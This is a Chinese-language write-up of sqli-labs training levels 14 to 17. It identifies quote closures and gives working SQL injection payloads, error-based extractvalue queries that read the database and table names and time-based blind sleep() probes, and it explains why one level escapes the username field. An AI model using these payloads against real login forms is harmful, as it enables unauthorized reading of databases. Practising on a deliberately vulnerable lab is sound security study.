LESS-14
輸入:admin”
由此可見這個有錯誤提示且爲雙引號閉合;
由於有報錯提醒故可用報錯注入:
admin" and extractvalue(1,concat(0x7e,(select database()),0x7e))#
Admin” and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=”security”),0x7e))#以上錯誤時因爲報錯的行數超過了一行。
改進:admin" and extractvalue (1,concat(0x7e,(select table_name from information_schema.tables where table_schema=“security” limit 0,1),0x7e))#
LESS-15由此可見沒有報錯系統,故不可用報錯注入但是可以嘗試延時注入
輸入admin”#輸入:admin’#
所以sql語句是一單引號的方式閉合
延時注入:admin’ and if(ascii(substr(database(),1,1))=115,1,sleep(5))#
錯誤以出現停頓:admin’ and if(ascii(substr(database(),1,1))=114,1,sleep(5))#
LESS-16與less-15類似不過閉合方式發生改變爲admin”)
LESS-17由此可見可以使用報錯注入
特殊點:
提問:在看源代碼的時候,先進行一次 select 語句,那爲什麼我們不從 username 處進行構
造呢?
其實我們可以在源代碼中看到一個函數。check_input()函數裏的幾個函數你就明白了
(即:在我們 less17 的 check_input()中,對 username 進行各種轉義的處理,所以此處不能使用username 進行注入)
用戶名輸入:admin;密碼:bbb’
錯誤提示’admin”可知用戶名是由”方式閉合
報錯注入:(用戶名出輸入)bbb’and extractvalue(1,concat(0x7e,(select database()),0x7e))#
延時注入bbb’ and if(ascii(substr( database(),1,1))=115,1,sleep(5))#